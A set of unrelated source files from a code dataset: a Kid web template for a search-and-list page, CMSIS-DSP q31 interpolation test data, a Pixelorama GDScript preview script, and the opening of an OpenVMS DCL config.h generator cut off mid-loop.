color: #efe; } table.edit tfoot th span#newlink { float: left; } table.edit tfoot th span#rowcount { float: right; } table.edit tbody { } table.edit tbody td { background-color: #d9e0d9; color: #000; } table.edit tbody { } table.list { } table.list th, table.list td { margin: 0px 0px 0px 0px; padding: 4px 6px 4px 6px; } table.list th a { color: #efe; } table.list thead th { background-color: #030; color: #efe; } table.list tfoot th { background-color: #9a9; color: #efe; } table.list tfoot th span#newlink { float: left; margin-right: 8px; } table.list tfoot th span#rowcount { float: right; margin-left: 8px; } table.list tbody { } table.list tbody td { background-color: #d9e0d9; color: #000; } table.list tbody { } --> </style> <script src="/static/date_chooser/date-functions.js" type="text/javascript"></script> <script src="/static/date_chooser/datechooser.js" type="text/javascript"></script> <link rel="stylesheet" type="text/css" href="/static/date_chooser/datechooser.css" /> </head> <body> <?python import re import datetime Now = datetime.datetime.now() def beautify(text): '''Capitalize the first letter of each word. ''' words = (word.capitalize() for word in text.split('_')) text = ' '.join(words) return text ?> <div> <h2>${title} Search</h2> <!--form action="save?page=${page}" method="post"--> <form action="" method="post"> <!--input type="hidden" name="page" value="${page}" /--> <table class="edit"> <tbody py:for="detail in searches"> <?python col_type = False if fields[detail].has_key('type'): col_type = fields[detail]['type'] value = False if fields[detail].has_key('value'): value = fields[detail]['value'] column = False if fields[detail].has_key('column'): column = fields[detail]['column'] options = False if fields[detail].has_key('options'): options = fields[detail]['options'] add = False if fields[detail].has_key('add'): add = fields[detail]['add'] if fields[detail].has_key('search'): search = fields[detail]['search'] description = fields[detail].get('description', beautify(detail)) label = description if fields[detail].has_key('label'): column = fields[detail]['label'] ?> <tr py:if="not col_type"> <th> ${description} </th> <td> <input id="${detail}" name="${detail}" value="${value}" /> </td> </tr> <tr py:if="col_type == 'select'"> <th> ${description} </th> <td> <select id="${detail}" name="${detail}"> <option py:if="new==True or not value" value=""></option> <option py:if="new==False and value" value="${value.id}" selected="selected"> <?python if hasattr(value, column): option_value = getattr(value, column) else: option_value = 'ERROR! attribute "%s" not found' % column ?> ${option_value} </option> <option py:for="option in options" py:if="option != value or new==True" value="${option.id}"> <?python if hasattr(option, column): option_value = getattr(option, column) else: option_value = 'ERROR! attribute "%s" not found' % column ?> ${option_value} </option> </select> </td> </tr> <tr py:if="col_type == 'foreign_text'"> <th> ${description} </th> <td> <input id="${detail}" name="${detail}" value="${value}" /> <small py:if="search"> <a href="${search}" target="_blank"> Search ${label} </a> </small> </td> </tr> <tr py:if="col_type == 'bool'"> <th> ${description} </th> <td> <select id="${detail}" name="${detail}"> <?python if new==False and value: value = value else: value = False ?> <option value="${value}" selected="selected"> ${fields[detail][value]}</option> <option value="${option}" py:for="option in (True, False)" py:if="option != value"> ${fields[detail][option]}</option> </select> </td> </tr> <tr py:if="col_type == 'int'"> <th> ${description} </th> <td> <input id="${detail}_first" name="${detail}_first" value="${value}" size="8" /> - <input id="${detail}_last" name="${detail}_last" value="${value}" size="8" /> <small>Integer (1, 2, 3, ...)</small> </td> </tr> <tr py:if="col_type == 'float'"> <th> ${description} (range) </th> <td> <input id="${detail}_first" name="${detail}_first" value="${value}" size="8" /> - <input id="${detail}_last" name="${detail}_last" value="${value}" size="8" /> <small>Float (1.0, 0.5, -3.9, 6, ...)</small> </td> </tr> <!--tr py:if="col_type == 'text'"> <th> ${description} </th> <td> <?python text_rows = 6 text_cols = 32 if fields[detail].has_key('cols'): text_cols = fields[detail]['cols'] if fields[detail].has_key('rows'): text_rows = fields[detail]['rows'] ?> <textarea name="${detail}" id="${detail}" rows="${text_rows}" cols="${text_cols}">${value}</textarea> </td> </tr--> <tr py:if="col_type == 'hidden'"> <th> ${description} </th> <td> ${value} <input name="${detail}" id="${detail}" value="${value}" /> </td> </tr> <tr py:if="col_type == dict"> <th> ${description} </th> <td> <select name="${detail}" id="${detail}"> <option py:if="new==True or not value" value=""></option> <option py:if="new==False and value" value="${value}" selected="selected"> ${options[value]} </option> <option py:for="option in options.keys()" py:if="option != value" value="${option}"> ${options[option]} </option> </select> <!--small py:if="add"> <a href="${add}" target="_blank"> Add ${description} </a> </small--> </td> </tr> <tr py:if="col_type == list"> <th> ${description} </th> <td> <select name="${detail}" id="${detail}"> <option py:if="new==True or not value" value=""></option> <option py:if="new==False and value" value="${value}" selected="selected"> ${value} </option> <option py:for="option in options" py:if="option != value" value="${option}"> ${option} </option> </select> <!--small py:if="add"> <a href="${add}" target="_blank"> Add ${description} </a> </small--> </td> </tr> <tr py:if="col_type == 'date'"> <?python current_date = Now.strftime('%Y-%m-%d') if not value: #value = current_date value = '' ?> <th> ${description} </th> <td> <input name="${detail}_first" id="${detail}_first" value="${value}" size="10" /> <img src="/static/date_chooser/calendar.gif" onclick="showChooser(this, '${detail}_first', '${detail}_first_chooser', 1950, 2010, 'Y-m-d', false);" /> <div id="${detail}_first_chooser" class="dateChooser select-free" style="display: none; visibility: hidden; width: 160px;"> </div> - <input name="${detail}_last" id="${detail}_last" value="${current_date}" size="10" /> <img src="/static/date_chooser/calendar.gif" onclick="showChooser(this, '${detail}_last', '${detail}_last_chooser', 1950, 2010, 'Y-m-d', false);" /> <div id="${detail}_last_chooser" class="dateChooser select-free" style="display: none; visibility: hidden; width: 160px;"> </div> <small>Date: ${Now.strftime('%Y-%m-%d')}</small> </td> </tr> <tr py:if="col_type == 'time'"> <?python current_time = Now.strftime('%H:%M:%S') if not value: value = current_time ?> <th> ${description} </th> <td> <input name="${detail}_first" id="${detail}_first" value="${value}" size="10" /> - <input name="${detail}_last" id="${detail}_last" value="${value}" size="10" /> <small>Time: ${Now.strftime('%H:%M:%S')}</small> </td> </tr> </tbody> </table> <input type="submit" id="search" name="search" value="Search" style="float: left;"/> <input type="reset" id="reset" name="reset" value="Clear" style="float: left;"/> </form> <form action="" method="post"> <input type="submit" id="search" name="search" value="Show All"/> </form> <br /> <?python col_cnt = len(columns) page_last = int(max_row/show) if page_last != max_row*1.0/show: page_last += 1 ?> <span> <a py:if="page != 1" title="First page" href="?page=1">&lt;&lt;First</a> <a py:if="page != 1" title="Previous page" href="?page=${page-1}">&lt;Previous</a> <a py:if="max_row > page*show" title="Next page" href="?page=${page+1}">Next&gt;</a> <a py:if="max_row > page*show" title="Last page" href="?page=${page_last}">Last&gt;&gt;</a> </span> <form action="mass_update"> <table class="list"> <thead><tr> <th py:for="column in columns"> <a href="?sort_page_by=${column}&amp;page=${page}" >${fields[column].get('description', beautify(column))}</a> </th> </tr></thead> <tfoot><tr> <th colspan="${col_cnt}" style="text-align: right;"> <span id="newlink"> <a href="new">new item</a> <a py:if="page != 1" title="First page" href="?page=1">&lt;&lt;First</a> <a py:if="page != 1" title="Previous page" href="?page=${page-1}">&lt;Previous</a> <a py:if="max_row > page*show" title="Next page" href="?page=${page+1}">Next&gt;</a> <a py:if="max_row > page*show" title="Last page" href="?page=${page_last}">Last&gt;&gt;</a> </span> <span id="rowcount">${row_cnt} item(s)</span> </th> </tr></tfoot> <tbody py:for="row in rows"> <tr> <td py:for="field in columns" ><?python if not fields[field].has_key('type'): value = getattr(row, field) elif fields[field]['type'] == 'select': option = getattr(row, field) column = fields[field]['column'] if hasattr(option, column): option_value = getattr(option, column) else: option_value = '' value = option_value elif fields[field]['type'] == 'foreign_text': option = getattr(row, field) column = fields[field]['column'] if hasattr(option, column): option_value = getattr(option, column) else: #option_value = 'ERROR! attribute "%s" not found in %s' % (column, option) option_value = '' value = option_value elif fields[field]['type'] == 'bool': value = fields[field][getattr(row, field)] elif fields[field]['type'] == 'time': value = str(getattr(row, field)) value = re.sub('.* ', '', value) else: value = getattr(row, field) ?>${value}</td> </tr> <tr py:if="not details == columns"> <td colspan="${col_cnt}" class="details"> <span py:for="field in details" py:if="getattr(row, field) and not field in columns"> <?python col_type = False if fields[field].has_key('type'): col_type = fields[field]['type'] ?> <span py:if="col_type == 'select'"> <strong>${fields[field].get('description', beautify(field))}:</strong> ${getattr(getattr(row, field), fields[field]['column'])} </span> <span py:if="col_type == 'foreign_text'"> <strong>${fields[field].get('description', beautify(field))}:</strong> ${getattr(getattr(row, field), fields[field]['column'])} </span> <span py:if="col_type == 'bool'"> <strong>${fields[field].get('description', beautify(field))}:</strong> ${fields[field][getattr(row, field)]} </span> <span py:if="col_type not in ('select', 'text', 'password', 'foreign_text')"> <strong>${fields[field].get('description', beautify(field))}:</strong> ${getattr(row, field)} </span> <div py:if="col_type == 'text'"> <strong>${fields[field].get('description', beautify(field))}:</strong> ${getattr(row, field)} </div> </span> </td> </tr> <tr py:for="entry in entry_details"> <td class="details"> <strong>${entry['label']}</strong> </td> <td colspan="${col_cnt-1}" class="details"> <?python id = row for column in entry['id']: id = getattr(id, column, id) ?> ${entry['details'].get(id)} </td> </tr> <tr py:for="item_detail in item_details"> <?python results = getattr(row, item_detail['join_on'], []) item_dict = {} for result in results: item_tuple = [] item_code = (getattr(result, item_detail['id_col'], '')) for column_detail in item_detail['tuple']: cols = column_detail.split('.') value = result for col in cols: value = getattr(value, col, '') item_tuple.append(value) item_dict[item_code] = item_detail['fstring'] % tuple(item_tuple) ?> <td> ${item_detail['label']} Details: </td> <td colspan="${col_cnt-1}"> <div py:for="k,v in item_dict.items()"> <b>${k}</b>: ${v} </div> </td> </tr> </tbody> </table> </form> </div> </body> </html>

Genshi

smola/language-dataset

data/github.com/BackupTheBerlios/busybe-svn/a9cf98b6ba3b8f85a08a2b8082bbac78370b6875/tags/0.8/sample_templates/search_noed_nodel.kid

static const q31_t in_linear_x[40] = { 0x00080000, 0x00180000, 0x00280000, 0x00380000, 0x00480000, 0x00580000, 0x00680000, 0x00780000, 0x00880000, 0x00980000, 0x00A80000, 0x00B80000, 0x00C80000, 0x00D80000, 0x00E80000, 0x00F80000, 0x01080000, 0x01180000, 0x01280000, 0x01380000, 0x01480000, 0x01580000, 0x01680000, 0x01780000, 0x01880000, 0x01980000, 0x01A80000, 0x01B80000, 0x01C80000, 0x01D80000, 0x01E80000, 0x01F80000, 0x02080000, 0x02180000, 0x02280000, 0x02380000, 0x02480000, 0x02580000, 0x02680000, 0x02780000 }; static const q31_t in_linear_y[41] = { 0x7FFFFFFF, 0x7FF53A8E, 0x7F53CD1F, 0x7C9B5835, 0x7560DD71, 0x6696FD43, 0x4D3B346F, 0x2794EFD3, 0xF7049DF8, 0xC1F24B95, 0x94C1CE62, 0x8018F412, 0x92ECBAF9, 0xD0A26BAC, 0x27719787, 0x6F769C05, 0x7AFB8B87, 0x36F38755, 0xC7E5A942, 0x81CF5A32, 0xA9C52B9A, 0x274E3BE8, 0x7E71815B, 0x45671E38, 0xB4604D03, 0x866799C7, 0x06FB627E, 0x7E6BB4F4, 0x27FEE4A7, 0x8B7EC9ED, 0xC452A6DC, 0x70D5C8A0, 0x37582165, 0x87D0C855, 0xE60E3DB9, 0x7FFF7927, 0xE1123BC0, 0x928BF3B1, 0x640D7CEB, 0x22215B09, 0x822EC32F }; static const q31_t ref_linear[40] = { 0x7FFA9D47, 0x7FA483D7, 0x7DF792AA, 0x78FE1AD3, 0x6DFBED5A, 0x59E918D9, 0x3A681221, 0x0F4CC6E6, 0xDC7B74C7, 0xAB5A0CFB, 0x8A6D613A, 0x8982D786, 0xB1C79353, 0xFC0A0199, 0x4B7419C6, 0x753913C6, 0x58F7896E, 0xFF6C984C, 0xA4DA81BA, 0x95CA42E6, 0xE889B3C1, 0x52DFDEA1, 0x61EC4FCA, 0xFCE3B59E, 0x9D63F365, 0xC6B17E22, 0x42B38BB9, 0x53354CCE, 0xD9BED74A, 0xA7E8B864, 0x1A9437BE, 0x5416F502, 0xDF9474DD, 0xB6EF8307, 0x3306DB70, 0x3088DA74, 0xB9CF17B9, 0xFB4CB84E, 0x43176BFA, 0xD2280F1C }; static const q31_t in_bilinear_x[300] = { 0x00080000, 0x00080000, 0x000F1C72, 0x00080000, 0x001638E4, 0x00080000, 0x001D5555, 0x00080000, 0x002471C7, 0x00080000, 0x002B8E39, 0x00080000, 0x0032AAAB, 0x00080000, 0x0039C71C, 0x00080000, 0x0040E38E, 0x00080000, 0x00480000, 0x00080000, 0x00080000, 0x000DB6DB, 0x000F1C72, 0x000DB6DB, 0x001638E4, 0x000DB6DB, 0x001D5555, 0x000DB6DB, 0x002471C7, 0x000DB6DB, 0x002B8E39, 0x000DB6DB, 0x0032AAAB, 0x000DB6DB, 0x0039C71C, 0x000DB6DB, 0x0040E38E, 0x000DB6DB, 0x00480000, 0x000DB6DB, 0x00080000, 0x00136DB7, 0x000F1C72, 0x00136DB7, 0x001638E4, 0x00136DB7, 0x001D5555, 0x00136DB7, 0x002471C7, 0x00136DB7, 0x002B8E39, 0x00136DB7, 0x0032AAAB, 0x00136DB7, 0x0039C71C, 0x00136DB7, 0x0040E38E, 0x00136DB7, 0x00480000, 0x00136DB7, 0x00080000, 0x00192492, 0x000F1C72, 0x00192492, 0x001638E4, 0x00192492, 0x001D5555, 0x00192492, 0x002471C7, 0x00192492, 0x002B8E39, 0x00192492, 0x0032AAAB, 0x00192492, 0x0039C71C, 0x00192492, 0x0040E38E, 0x00192492, 0x00480000, 0x00192492, 0x00080000, 0x001EDB6E, 0x000F1C72, 0x001EDB6E, 0x001638E4, 0x001EDB6E, 0x001D5555, 0x001EDB6E, 0x002471C7, 0x001EDB6E, 0x002B8E39, 0x001EDB6E, 0x0032AAAB, 0x001EDB6E, 0x0039C71C, 0x001EDB6E, 0x0040E38E, 0x001EDB6E, 0x00480000, 0x001EDB6E, 0x00080000, 0x00249249, 0x000F1C72, 0x00249249, 0x001638E4, 0x00249249, 0x001D5555, 0x00249249, 0x002471C7, 0x00249249, 0x002B8E39, 0x00249249, 0x0032AAAB, 0x00249249, 0x0039C71C, 0x00249249, 0x0040E38E, 0x00249249, 0x00480000, 0x00249249, 0x00080000, 0x002A4925, 0x000F1C72, 0x002A4925, 0x001638E4, 0x002A4925, 0x001D5555, 0x002A4925, 0x002471C7, 0x002A4925, 0x002B8E39, 0x002A4925, 0x0032AAAB, 0x002A4925, 0x0039C71C, 0x002A4925, 0x0040E38E, 0x002A4925, 0x00480000, 0x002A4925, 0x00080000, 0x00300000, 0x000F1C72, 0x00300000, 0x001638E4, 0x00300000, 0x001D5555, 0x00300000, 0x002471C7, 0x00300000, 0x002B8E39, 0x00300000, 0x0032AAAB, 0x00300000, 0x0039C71C, 0x00300000, 0x0040E38E, 0x00300000, 0x00480000, 0x00300000, 0x00080000, 0x0035B6DB, 0x000F1C72, 0x0035B6DB, 0x001638E4, 0x0035B6DB, 0x001D5555, 0x0035B6DB, 0x002471C7, 0x0035B6DB, 0x002B8E39, 0x0035B6DB, 0x0032AAAB, 0x0035B6DB, 0x0039C71C, 0x0035B6DB, 0x0040E38E, 0x0035B6DB, 0x00480000, 0x0035B6DB, 0x00080000, 0x003B6DB7, 0x000F1C72, 0x003B6DB7, 0x001638E4, 0x003B6DB7, 0x001D5555, 0x003B6DB7, 0x002471C7, 0x003B6DB7, 0x002B8E39, 0x003B6DB7, 0x0032AAAB, 0x003B6DB7, 0x0039C71C, 0x003B6DB7, 0x0040E38E, 0x003B6DB7, 0x00480000, 0x003B6DB7, 0x00080000, 0x00412492, 0x000F1C72, 0x00412492, 0x001638E4, 0x00412492, 0x001D5555, 0x00412492, 0x002471C7, 0x00412492, 0x002B8E39, 0x00412492, 0x0032AAAB, 0x00412492, 0x0039C71C, 0x00412492, 0x0040E38E, 0x00412492, 0x00480000, 0x00412492, 0x00080000, 0x0046DB6E, 0x000F1C72, 0x0046DB6E, 0x001638E4, 0x0046DB6E, 0x001D5555, 0x0046DB6E, 0x002471C7, 0x0046DB6E, 0x002B8E39, 0x0046DB6E, 0x0032AAAB, 0x0046DB6E, 0x0039C71C, 0x0046DB6E, 0x0040E38E, 0x0046DB6E, 0x00480000, 0x0046DB6E, 0x00080000, 0x004C9249, 0x000F1C72, 0x004C9249, 0x001638E4, 0x004C9249, 0x001D5555, 0x004C9249, 0x002471C7, 0x004C9249, 0x002B8E39, 0x004C9249, 0x0032AAAB, 0x004C9249, 0x0039C71C, 0x004C9249, 0x0040E38E, 0x004C9249, 0x00480000, 0x004C9249, 0x00080000, 0x00524925, 0x000F1C72, 0x00524925, 0x001638E4, 0x00524925, 0x001D5555, 0x00524925, 0x002471C7, 0x00524925, 0x002B8E39, 0x00524925, 0x0032AAAB, 0x00524925, 0x0039C71C, 0x00524925, 0x0040E38E, 0x00524925, 0x00480000, 0x00524925, 0x00080000, 0x00580000, 0x000F1C72, 0x00580000, 0x001638E4, 0x00580000, 0x001D5555, 0x00580000, 0x002471C7, 0x00580000, 0x002B8E39, 0x00580000, 0x0032AAAB, 0x00580000, 0x0039C71C, 0x00580000, 0x0040E38E, 0x00580000, 0x00480000, 0x00580000 }; static const q31_t in_bilinear_y[56] = { 0x61CE022E, 0x7A34B6CC, 0x81B5AD59, 0xC7D0B690, 0x89EC9B27, 0x5783AFCB, 0xA3428493, 0x2E9DC9D1, 0xB48BBB55, 0x3C77AFE8, 0xA541A842, 0xF74DF921, 0x3C3143FF, 0x716B3B02, 0xD5E59CB2, 0x4F497006, 0xBF55C93A, 0x574959F7, 0x03E3C0CF, 0xC8187FD4, 0x8C6E6F06, 0x9586223C, 0x8ADAF8E1, 0x7B243A55, 0x44C55958, 0x7AE31813, 0x9E8786AD, 0x5238F619, 0xC9A99D57, 0x811110C2, 0x7B71C31F, 0x02F8263F, 0x569C6317, 0xD78A4CED, 0x792034A4, 0x89EC9B27, 0x96DA0C3B, 0x72368FED, 0x581B91CE, 0x7F76A2DC, 0x907D10ED, 0x3DFDF962, 0x063F67D2, 0x6F2883D2, 0x9AA9296C, 0x2DDB21A1, 0xD3ACF57E, 0xF74DF921, 0x803BB3D3, 0xE62A1730, 0x886751E7, 0x7028D0B3, 0xE51192FB, 0x3E43C8D8, 0xF4F3A57B, 0x7F6F3C60 }; static const uint16_t in_bilinear_config[2] = { 0x0007, 0x0008 }; static const q31_t ref_bilinear[150] = { 0x2FCB0F88, 0x1A16C2AC, 0x017C833A, 0xE87845B3, 0xD3D2EED8, 0xC1CCEF31, 0xB83733DD, 0xBCB1EA6A, 0xC83D2221, 0x053BE205, 0x035B21B5, 0xD666F6E5, 0xF048ED35, 0x14497A8B, 0x00913226, 0xCB6A031F, 0xB470E5F7, 0xCFC49141, 0xEC9742BC, 0x13E31F8D, 0xF8A7A363, 0xD99685C2, 0xF33D8270, 0x14FECC06, 0x09B21CC9, 0xE35D0B74, 0xD32BF4FB, 0xE7E1809B, 0xFC4BEB7E, 0x0EA8713A, 0x0471C4BD, 0x0C05A661, 0x03A23481, 0xF8F6DB44, 0xFB14CC50, 0x04DEB6B9, 0x08E7EC9D, 0x035AA04C, 0xFE3CEF04, 0xFC2C7AFF, 0x103BE617, 0x3E74C701, 0x1406E691, 0xDCEEEA82, 0xEC777BD6, 0x266061FE, 0x3EA3E43F, 0x1ED3BFFC, 0x002DF28A, 0xE9B084C4, 0xED55886A, 0x12840F65, 0x09E01CC3, 0xFAB061E7, 0x0ED3FA80, 0x382991F9, 0x4AA525F8, 0x370AB42C, 0x2004B661, 0xF10DE49F, 0xBEC30AFC, 0xCEFB61BB, 0xF91673FE, 0x26E43354, 0x3D6EECF2, 0x4604A321, 0x4C37BA38, 0x4E711D7B, 0x4754EA4D, 0xFEE199FF, 0x90308D8E, 0x8B72B411, 0xE84CCB39, 0x531804C2, 0x6C09DF64, 0x53DFB449, 0x4DCA4E78, 0x65D786CB, 0x6EA51E38, 0x0CB54F60, 0x97C08C60, 0x892E49BD, 0xE634A36F, 0x5299EEE4, 0x6596B887, 0x42EE6778, 0x380C12F6, 0x54C90E09, 0x638A46A1, 0x10692DE3, 0x9F508B32, 0x86E9DF69, 0xE41C7BA5, 0x521BD906, 0x5F2391A9, 0x31FD1AA8, 0x224DD775, 0x43BA9547, 0x586F6F0B, 0x141D0C66, 0xA3DDC486, 0x865103F0, 0xE3215A99, 0x516CB494, 0x5B312F6C, 0x28A4BDFA, 0x1676B480, 0x3A3B5850, 0x52067F52, 0x15FF3CB7, 0x9C5FE7E5, 0x8C6663E4, 0xE69A5488, 0x4FF955D6, 0x6141DFAE, 0x3DB021D9, 0x323BF3BD, 0x4EF90A80, 0x5E652F11, 0x109AB43F, 0x94E20B45, 0x927BC3D8, 0xEA134E76, 0x4E85F717, 0x67528FF0, 0x52BB85B7, 0x4E0132F9, 0x63B6BCB1, 0x6AC3DED1, 0x0B362BC6, 0xA8B7FD23, 0xB44DF11B, 0xF311567A, 0x39245E56, 0x530BA1EE, 0x52723C90, 0x558BFD12, 0x5ED05209, 0x5BD34840, 0x030CA73D, 0xE58BA4C2, 0xFFBB5254, 0x0456F39C, 0x05DD6E91, 0x17414685, 0x3229EFDF, 0x3EBF1776, 0x3373BC1C, 0x23EBC839, 0xF6BBA89A };

Max

ldalek/zephyr

tests/lib/cmsis_dsp/interpolation/src/q31.pat

extends Node2D var frame : int = 0 onready var animation_timer : Timer = $AnimationTimer func _draw() -> void: var current_project : Project = Global.current_project if frame >= current_project.frames.size(): frame = current_project.current_frame $AnimationTimer.wait_time = current_project.frames[frame].duration * (1 / Global.current_project.fps) if animation_timer.is_stopped(): frame = current_project.current_frame var current_cels : Array = current_project.frames[frame].cels # Draw current frame layers for i in range(current_cels.size()): var modulate_color := Color(1, 1, 1, current_cels[i].opacity) if i < current_project.layers.size() and current_project.layers[i].visible: draw_texture(current_cels[i].image_texture, Vector2.ZERO, modulate_color) func _on_AnimationTimer_timeout() -> void: var current_project : Project = Global.current_project if frame < current_project.frames.size() - 1: frame += 1 else: frame = 0 $AnimationTimer.set_one_shot(true) $AnimationTimer.wait_time = Global.current_project.frames[frame].duration * (1 / Global.current_project.fps) $AnimationTimer.start() update()

GDScript

Gamespleasure/Pixelorama

src/UI/Canvas/CanvasPreview.gd

$! File: config_h.com $! $! $Id: config_h.com,v 1.1.1.1 2012/12/02 19:25:21 wb8tyw Exp $ $! $! This procedure attempts to figure out how to build a config.h file $! for the current project. $! $! P1 specifies the config.h.in file or equivalent. If it is not specified $! then this procedure will search for several common names of the file. $! $! The CONFIGURE shell script will be examined for hints and a few symbols $! but most of the tests will not produce valid results on OpenVMS. Some $! will produce false positives and some will produce false negatives. $! $! It is easier to just read the config.h_in file and make up tests based $! on what is in it! $! $! This file will create an empty config_vms.h file if one does not exist. $! The config_vms.h is intended for manual edits to handle things that $! this procedure can not. $! $! The config_vms.h will be invoked by the resulting config.h file. $! $! This procedure knows about the DEC C RTL on the system it is on. $! Future versions may be handle the GNV, the OpenVMS porting library, $! and others. $! $! This procedure may not guess the options correctly for all architectures, $! and is a work in progress. $! $! Copyright 2011, John Malmberg $! $! Permission to use, copy, modify, and/or distribute this software for any $! purpose with or without fee is hereby granted, provided that the above $! copyright notice and this permission notice appear in all copies. $! $! THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES $! WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF $! MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR $! ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES $! WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN $! ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT $! OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. $! $! 15-Jan-2001 J. Malmberg Original $! 29-Apr-2001 J. Malmberg Also look for config.*in* in a [.include] $! subdirectory $! 30-Apr-2001 J. Malmberg Update for SAMBA checks $! 09-Apr-2005 J. Malmberg Update for RSYNC and large file. $! 29-Sep-2011 J. Malmberg Update for Bash 4.2 $! 01-Mar-2012 J. Malmberg Warn about getcwd(0,0) $! 21-Dec-2012 J. Malmberg Update for gawk $! 29-Dec-2012 J. Malmberg Update for curl $!============================================================================ $! $ss_normal = 1 $ss_abort = 44 $ss_control_y = 1556 $status = ss_normal $on control_y then goto control_y $on warning then goto general_error $!on warning then set ver $! $! Some information for writing timestamps to created files $!---------------------------------------------------------- $my_proc = f$environment("PROCEDURE") $my_proc_file = f$parse(my_proc,,,"NAME") + f$parse(my_proc,,,"TYPE") $tab[0,8] = 9 $datetime = f$element(0,".",f$cvtime(,"ABSOLUTE","DATETIME")) $username = f$edit(f$getjpi("","USERNAME"),"TRIM") $! $pid = f$getjpi("","PID") $tfile1 = "SYS$SCRATCH:config_h_temp1_''pid'.TEMP" $dchfile = "SYS$SCRATCH:config_h_decc_''pid'.TEMP" $starhfile = "SYS$SCRATCH:config_h_starlet_''pid'.TEMP" $configure_script = "SYS$SCRATCH:configure_script_''pid'.TEMP" $! $! Get the system type $!---------------------- $arch_type = f$getsyi("arch_type") $! $! Does config_vms.h exist? $!------------------------- $update_config_vms = 0 $file = f$search("sys$disk:[]config_vms.h") $if file .nes. "" $then $ write sys$output "Found existing custom file ''file'." $else $ update_config_vms = 1 $ write sys$output "Creating new sys$disk:[]config_vms.h for you." $ gosub write_config_vms $endif $! $! $! On some platforms, DCL search has problems with searching a file $! on a NFS mounted volume. So copy it to sys$scratch: $! $if f$search(configure_script) .nes. "" then delete 'configure_script';* $copy sys$disk:[]configure 'configure_script' $! $ssl_header_dir = "OPENSSL:" $if f$trnlnm("OPENSSL") .eqs. "" $then $ ssl_header_dir = "SSL$INCLUDE:" $endif $! $! $! Write out the header $!---------------------- $gosub write_config_h_header $! $! $! $! config.h.in could have at least five different names depending $! on how it was transferred to OpenVMS $!------------------------------------------------------------------ $if p1 .nes. "" $then $ cfile = p1 $else $ cfile = f$search("sys$disk:[]config.h.in") $ if cfile .eqs. "" $ then $ cfile = f$search("sys$disk:[]config.h_in") $ if cfile .eqs. "" $ then $ cfile = f$search("sys$disk:[]configh.in") $ if cfile .eqs. "" $ then $ cfile = f$search("sys$disk:[]config__2eh.in") $ if cfile .eqs. "" $ then $ cfile = f$search("sys$disk:[]config.h__2ein") $ endif $ endif $ endif $ endif $endif $if f$trnlnm("PRJ_INCLUDE") .nes. "" $then $ cfile = f$search("PRJ_INCLUDE:config.h.in") $ if cfile .eqs. "" $ then $ cfile = f$search("PRJ_INCLUDE:config.h_in") $ if cfile .eqs. "" $ then $ cfile = f$search("PRJ_INCLUDE:config__2eh.in") $ if cfile .eqs. "" $ then $ cfile = f$search("PRJ_INCLUDE:config__2eh.in") $ if cfile .eqs. "" $ then $ cfile = f$search("PRJ_INCLUDE:config.h__2ein") $ endif $ endif $ endif $ endif $endif $if cfile .eqs. "" $then $ write sys$output "Can not find sys$disk:config.h.in" $ line_out = "Looked for config.h.in, config.h_in, configh.in, " $ line_out = line_out + "config__2eh.in, config.h__2ein" $ write/symbol sys$output line_out $ if f$trnlnm("PRJ_INCLUDE") .nes. "" $ then $ write sys$output "Also looked in PRJ_INCLUDE: for these files." $ endif $! $ write tf "" $ write tf - " /* Could not find sys$disk:config.h.in */" $ write tf - " /* Looked also for config.h_in, configh.in, config__2eh.in, */" $ write tf - " /* config.h__2ein */" $ if f$trnlnm("PRJ_INCLUDE") .nes. "" $ then $ write tf - " /* Also looked in PRJ_INCLUDE: for these files. */" $ endif $ write tf - "/*--------------------------------------------------------------*/ $ write tf "" $ goto write_tail $endif $! $! $! Locate the DECC libraries in use $!----------------------------------- $decc_rtldef = f$parse("decc$rtldef","sys$library:.tlb;0") $decc_starletdef = f$parse("sys$starlet_c","sys$library:.tlb;0") $decc_shr = f$parse("decc$shr","sys$share:.exe;0") $! $! Dump the DECC header names into a file $!---------------------------------------- $if f$search(dchfile) .nes. "" then delete 'dchfile';* $if f$search(tfile1) .nes. "" then delete 'tfile1';* $define/user sys$output 'tfile1' $library/list 'decc_rtldef' $open/read/error=rtldef_loop1_end tf1 'tfile1' $open/write/error=rtldef_loop1_end tf2 'dchfile' $rtldef_loop1: $ read/end=rtldef_loop1_end tf1 line_in $ line_in = f$edit(line_in,"TRIM,COMPRESS") $ key1 = f$element(0," ",line_in) $ key2 = f$element(1," ",line_in) $ if key1 .eqs. " " .or. key1 .eqs. "" then goto rtldef_loop1 $ if key2 .nes. " " .and. key2 .nes. "" then goto rtldef_loop1 $ write tf2 "|",key1,"|" $ goto rtldef_loop1 $rtldef_loop1_end: $if f$trnlnm("tf1","lnm$process",,"SUPERVISOR") .nes. "" then close tf1 $if f$trnlnm("tf2","lnm$process",,"SUPERVISOR") .nes. "" then close tf2 $if f$search(tfile1) .nes. "" then delete 'tfile1';* $! $! Dump the STARLET header names into a file $!---------------------------------------- $if f$search(starhfile) .nes. "" then delete 'starhfile';* $if f$search(tfile1) .nes. "" then delete 'tfile1';* $define/user sys$output 'tfile1' $library/list 'decc_starletdef' $open/read/error=stardef_loop1_end tf1 'tfile1' $open/write/error=stardef_loop1_end tf2 'starhfile' $stardef_loop1: $ read/end=stardef_loop1_end tf1 line_in $ line_in = f$edit(line_in,"TRIM,COMPRESS") $ key1 = f$element(0," ",line_in) $ key2 = f$element(1," ",line_in) $ if key1 .eqs. " " .or. key1 .eqs. "" then goto stardef_loop1 $ if key2 .nes. " " .and. key2 .nes. "" then goto stardef_loop1 $ write tf2 "|",key1,"|" $ goto stardef_loop1 $stardef_loop1_end: $if f$trnlnm("tf1","lnm$process",,"SUPERVISOR") .nes. "" then close tf1 $if f$trnlnm("tf2","lnm$process",,"SUPERVISOR") .nes. "" then close tf2 $if f$search(tfile1) .nes. "" then delete 'tfile1';* $! $! $! Now calculate what should be in the file from reading $! config.h.in and CONFIGURE. $!--------------------------------------------------------------- $open/read inf 'cfile' $do_comment = 0 $if_block = 0 $cfgh_in_loop1: $!set nover $ read/end=cfgh_in_loop1_end inf line_in $ xline = f$edit(line_in,"TRIM,COMPRESS") 